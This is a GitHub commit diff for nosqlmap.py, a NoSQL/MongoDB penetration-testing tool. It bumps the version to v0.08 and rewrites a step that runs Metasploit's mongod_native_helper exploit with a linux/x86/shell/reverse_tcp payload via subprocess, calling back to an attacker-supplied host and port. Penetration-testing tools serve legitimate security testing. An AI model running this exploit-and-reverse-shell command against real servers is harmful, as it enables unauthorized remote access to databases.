Skip to content

Commit 4ec24bb

Browse files
committed
v0.08a
1 parent 8e54467 commit 4ec24bb

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

nosqlmap.py

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@
2121
import httplib2
2222
import urllib
2323
import pymongo
24-
from subprocess import call
24+
import subprocess
2525

2626
#Set a list so we can track whether options are set or not
2727
global optionSet
@@ -32,7 +32,7 @@ def mainMenu():
3232
select = True
3333
while select:
3434
os.system('clear')
35-
print "NoSQLMap v0.07-by Russell Butturini([email protected])"
35+
print "NoSQLMap v0.08-by Russell Butturini([email protected])"
3636
print "\n"
3737
print "1-Set options (do this first)"
3838
print "2-NoSQL DB Access Attacks"
@@ -205,11 +205,11 @@ def netAttacks(target):
205205
getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)?")
206206

207207
if getShell == "y" or getShell == "Y":
208-
try:
209-
call["msfcli","exploit/linux/misc/mongod_native_helper","RHOST=" + victim,"DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=" + myIP, "LPORT="+ myPort, "E" ]
208+
#try:
209+
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
210210

211-
except:
212-
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
211+
#except:
212+
# print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
213213

214214
raw_input("Press enter to continue...")
215215
return()

0 commit comments

Comments
 (0)